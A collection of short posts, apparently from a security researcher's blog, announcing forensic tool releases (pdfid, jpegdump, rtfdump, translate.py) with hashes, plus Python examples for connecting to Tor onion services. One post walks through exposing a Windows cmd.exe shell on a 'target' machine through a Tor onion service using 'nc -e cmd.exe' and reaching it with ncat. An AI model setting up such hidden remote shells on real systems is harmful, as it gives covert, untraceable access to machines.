This is a bug fix version forĀ bugs reported by different users, more details in history.
pdfid_v0_2_4.zip (https)
MD5: 36D5554BC881E7E21382ADA1305ED6F4
SHA256: C1DA287C9C06E3158F79CECF9C2E9A7773FC57FC92021F17B79DDD4B1E5DBB2A
This is a bug fix version forĀ bugs reported by different users, more details in history.
pdfid_v0_2_4.zip (https)
MD5: 36D5554BC881E7E21382ADA1305ED6F4
SHA256: C1DA287C9C06E3158F79CECF9C2E9A7773FC57FC92021F17B79DDD4B1E5DBB2A
This new version of jpegdump adds option -e: extract jpeg images to disk.

jpegdump_V0_0_4.zip (https)
MD5: 496B6F2B0C0EEF919F7C6E20B9C1ADF6
SHA256: 5D150AE050610B6DB11FBE8B44E385A80800971AF1810F67531BB17A1373C770
This new version of hash.py can recurse into directories by using new option –recursedir.

hash_V0_0_2.zip (https)
MD5: 7C9EF6D52793D6FFAAF4EB6FCEB934B4
SHA256: F768BCBE035ADF099C2AFA41CADB2ABD9514D54E6D361AF5610277B8A70D6B7D
This new version of python-per-line adds option -i to ignore errors when evaluating the provided Python expression.

python-per-line_V0_0_3.zip (https)
MD5: 40B787E184EBAAD91A9104BF1BF1BF1A
SHA256: 1D7CAE95B5EA169286E4B1528D834D814A474A86240B9975385968B2BADF59AB
Creating a Tor onion service (aka hidden service) on a Windows Tor client.
I download the Tor expert bundle (this works with the Tor Browser too).
I create Tor configuration file torrc with these lines:
HiddenServiceDir C:\demo\Tor\service HiddenServicePort 8662 127.0.0.1:12345
When Tor is started, folder C:\demo\Tor\Service will be created and populated with a couple of files (file hostname contains the .onion address created by Tor for this onion service).
The onion service will be listening on port 8662, and traffic will be forwarded to 127.0.0.1 port 12345.
It is possible to enable client authorization for this service (without client authorization, everybody who knows the .onion address and the port can connect to it). Basic client authorization uses a shared secret, and is configured with this line (torrc):
HiddenServiceAuthorizeClient basic testuser
I choose testuser as name for the client.

I start Tor with configuration file torrc like this: tor.exe -f torrc


The .onion address and client authorization cookie can be found in file hostname in the service folder:
nybjuivgocveiyeq.onion Wa5kOshPqZF4tFynr4ug1g # client: testuser
Keep the authorization cookie secret of course, I show it here for the demo.
Now start the service on the target Windows machine with nc.exe (I downloaded nc.exe years ago, I don’t have the original URL anymore, my version is 1.11 with MD5 ab41b1e2db77cebd9e2779110ee3915d):
nc -e cmd.exe -L -s 127.0.0.1 -p 12345

Tor expert bundle and nc.exe have no extra dependencies (like DLLs), and can be executed as normal user.
Now the target machine is ready.
On another machine, I start Tor with a configuration file containing the authorization cookie:
HidServAuth nybjuivgocveiyeq.onion Wa5kOshPqZF4tFynr4ug1g

And then I run ncat, because ncat.exe supports socks5 proxies (nc.exe doesn’t):
ncat.exe --proxy 127.0.0.1:9050 --proxy-type socks5 nybjuivgocveiyeq.onion 8662
This gives me a remote shell:

Remark that this does not work with version 7.60, apparently because of a regression bug:
libnsock select_loop(): nsock_loop error 10038: An operation was attempted on something that is not a socket.

I wanted a program to connect to Tor Onion Services (aka hidden services). It’s written in Python and uses the PySocks module:
import socks
PROXYHOST = 'localhost'
PROXYPORT = 9050
HOST = 'duskgytldkxiuqc6.onion'
PORT = 80
print('[*] Creating socket')
oSocket = socks.socksocket()
print('[*] Setting SOCKS5 proxy %s %s' % (PROXYHOST, PROXYPORT))
oSocket.set_proxy(socks.SOCKS5, PROXYHOST, PROXYPORT)
print('[*] Connecting %s %s' % (HOST, PORT))
oSocket.connect((HOST, PORT))
print('[*] Sending')
data = ['GET / HTTP/1.1', 'Host: %s' % HOST]
data = '\r\n'.join(data) + '\r\n\r\n'
print(data)
oSocket.sendall(data.encode('ascii'))
print('[*] Receiving')
print(oSocket.recv(0x1000))
print('[*] Closing')
oSocket.close()
print('[*] Done')
In line 13 I configure the socksocket to use Tor as a SOCKS5 proxy (Tor needs to be running).
From that line on, the code is the same as for the build-in socket module:
import socket
...
print('[*] Creating socket')
oSocket = socket.socket()
...

In this first example I build an HTTP GET request, that is something that doesn’t have to be done when module requests is used:
import requests
PROXYHOST = 'localhost'
PROXYPORT = 9050
HOST = 'duskgytldkxiuqc6.onion'
url = 'http://' + HOST
print('[*] Requesting %s' % url)
print(requests.get(url, proxies={'http': 'socks5h://%s:%s' % (PROXYHOST, PROXYPORT), 'https': 'socks5h://%s:%s' % (PROXYHOST, PROXYPORT)}).text)
print('[*] Done')

Here is an overview of content I published in January:
Blog posts:
YouTube videos:
SANS ISC Diary entries:
NVISO Blog posts:
In this version, I’ve changed the output for “level 0”. Level 0 is actually the remainder, e.g. what comes after the last balanced curly brace. In a normal RTF document, there should be no remainder.

rtfdump_V0_0_7.zip (https)
MD5: 59F86BA57D67CB78B9D863AFEA710709
SHA256: 1A8EDD4F73F020F44B0AAB39FC3A1C313C81BF8A1E031A76D8B8C85E34116DD6
Yesterday I had to analyze a malicious document, carrying embedded PowerShell scripts with Gzip compression. I use translate.py to do the Gzib decompression as I explained in this blog post.
But it’s still not that practical, copying that onliner from my blog post, so I’m releasing a new version of translate.py where I defined function GzipD as that onliner (and I also defined ZlibD).
Here is how I use build-in function GzipD to decompress the malicious payload:

translate_v2_5_2.zip (https)
MD5: 1499C7D9C03928F2CE90BAA813A982DA
SHA256: 34451966781CA9821CD66AEF54379A3B47576CD4FCE8CBEFD9EFA3DA06E49CE9
jpegdump.py is a tool I developed to analyze JPEG images. I have used it for a couple of ISC diary entries: Analyzing JPEG files, It is a resume – Part 3 and A strange JPEG file.
This tool reads binary files and parses the JPEG markers inside them:

It can help with corrupted images, here is an example of a JPEG file that was partially overwritten by ransomware:

The partial image starts from marker 3.
With options -f and -c, one can search through binary files with embedded JPEG images, like this Google Chrome process dump:

For more information, take a look at the man page: jpegdump.py -m
jpegdump_V0_0_3.zip (https)
MD5: 929F3EC096AEBEC642C44C6A6EE2895E
SHA256: C5C1CA151C7E24FB6E305E5116BE7B6BC4C417810217249D3831BE5805BBAA9F